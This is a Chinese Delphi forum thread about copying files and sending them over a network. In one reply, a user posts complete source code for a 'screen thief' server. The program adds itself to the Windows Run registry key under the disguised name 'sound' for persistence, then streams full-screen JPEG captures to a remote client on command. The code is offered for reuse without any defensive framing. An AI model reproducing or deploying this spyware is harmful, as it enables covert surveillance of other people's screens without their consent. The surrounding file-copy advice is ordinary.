用无类型文件
BlockRead读
BlockWrite写
或直接用CopyFile函数
BlockRead读
BlockWrite写
或直接用CopyFile函数
解决方案 »
- 外包VclSkin皮肤
- 关于无法删除目录的一个问题
- 请大家帮忙!SQLSERVER中的DATATIME字段简单问题。
- 请教高手 建造一个c/s数据库??
- 请教:delphi控制SQL Server数据恢复的问题!(好邪门!!!!!数据库一直被占用!)(最多可以加到1000分)
- (在线等,急!!!)请教:TStringGrid的使用方法
- 当修改数据集并执行QUREY1.APPLYUPDATE(0)语句,我在BeforeUpdateRecord事件中,获取修改的数据并将这些数据插入另一个数据集QUERY2,并阻
- 各位大侠,请救急!!!!!!!
- ‘Update mydb set mytime=’+DateTimetoStr(Now)+‘ where num=1’出什么错?
- 菜鸟的烦恼之--有谁知道往DBGIRD中写记录的法子?此Dbgrid的字段名可用SQL增删,但无法往里写记录了,重谢!!
- 请问一个键盘的输入问题?
- 一个ActiveX的bug
BOOL CopyFile( LPCTSTR lpExistingFileName, // pointer to name of an existing file
LPCTSTR lpNewFileName, // pointer to filename to copy to
BOOL bFailIfExists // flag for operation if file exists
);Sample:
CopyFile('a.txt', 'b.txt', false);
我是想用在网络上传输文件之用,有例程吗?
有的话,可以发到[email protected]
Thank You All Of You!
可以先用流读到一个buffer中,然后再发送
给你个发送屏幕的代码
{屏幕大盗服务端,如果您在此基础上进行了修改,请给我发一份!
作者:张文健
个人主页:http://xnzhwj.yeah.net
Email:[email protected]}
unit Unit_server;interfaceuses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, ExtCtrls, StdCtrls,jpeg,registry,shellapi, Buttons;type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
private
procedure sendscreen();
procedure snapscreen();
public
{ Public declarations }
end;var
Form1: TForm1;implementation
const BufSize=2048;
var
LeftSize:Longint;
jpegStream:TMemoryStream;
{$R *.DFM}
procedure TForm1.sendscreen();
var
sendsize:longint;
Buf:array[0..BufSize-1] of char;
begin
if jpegstream.Size =0 then snapscreen();
if LeftSize>BufSize then SendSize:=BufSize else SendSize:=LeftSize;
jpegStream.ReadBuffer(Buf,sendsize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then jpegStream.Clear;
try
serversocket1.Socket.Connections[0].SendBuf (buf,sendsize);
except
jpegstream.Clear ;
end;
end;procedure TForm1.snapscreen();
var
bmpscreen:Tbitmap;
jpegscreen:Tjpegimage;
FullscreenCanvas:TCanvas;
dc:HDC;
sourceRect, destRect: TRect;
begin
dc:=getdc(0);
fullscreencanvas:=Tcanvas.Create;
fullscreencanvas.Handle:=dc;
bmpscreen:=Tbitmap.create;
bmpscreen.Width :=screen.Width ;
bmpscreen.Height :=screen.Height ;
sourcerect:=rect(0,0,screen.Width ,screen.Height );
destrect:= rect(0,0,screen.Width ,screen.Height);
bmpscreen.Canvas.CopyRect(sourcerect,fullscreenCanvas,destrect);
jpegscreen:=Tjpegimage.Create ;
jpegscreen.Assign (bmpscreen);
jpegscreen.CompressionQuality:=40;
jpegscreen.SaveToStream (jpegStream);
jpegstream.Position :=0;
LeftSize:=jpegStream.Size;
FullscreenCanvas.Free;
bmpscreen.Free;
jpegscreen.Free ;
ReleaseDC(0, DC);
end;procedure TForm1.Button1Click(Sender: TObject);
begin
snapscreen();
end;procedure TForm1.FormCreate(Sender: TObject);
var
reg:Tregistry;
begin
reg:=Tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
if not reg.KeyExists('SOFTWARE\screen-thieve') then begin
reg.CreateKey ('SOFTWARE\screen-thieve');
reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('sound',application.ExeName );
end;
reg.CloseKey ;
jpegStream:=TmemoryStream.Create ;
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
rstr:string;
begin
rstr:=socket.ReceiveText;
if rstr ='show' then
begin
sendscreen();
end;
if rstr='stop' then jpegstream.Clear;
end;procedure TForm1.ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
errorcode:=0;
jpegstream.Clear;
end;procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
begin
jpegstream.Clear;
end;end.
为什么要逐字节呢?
先读64M,再写64M就会快的多了…………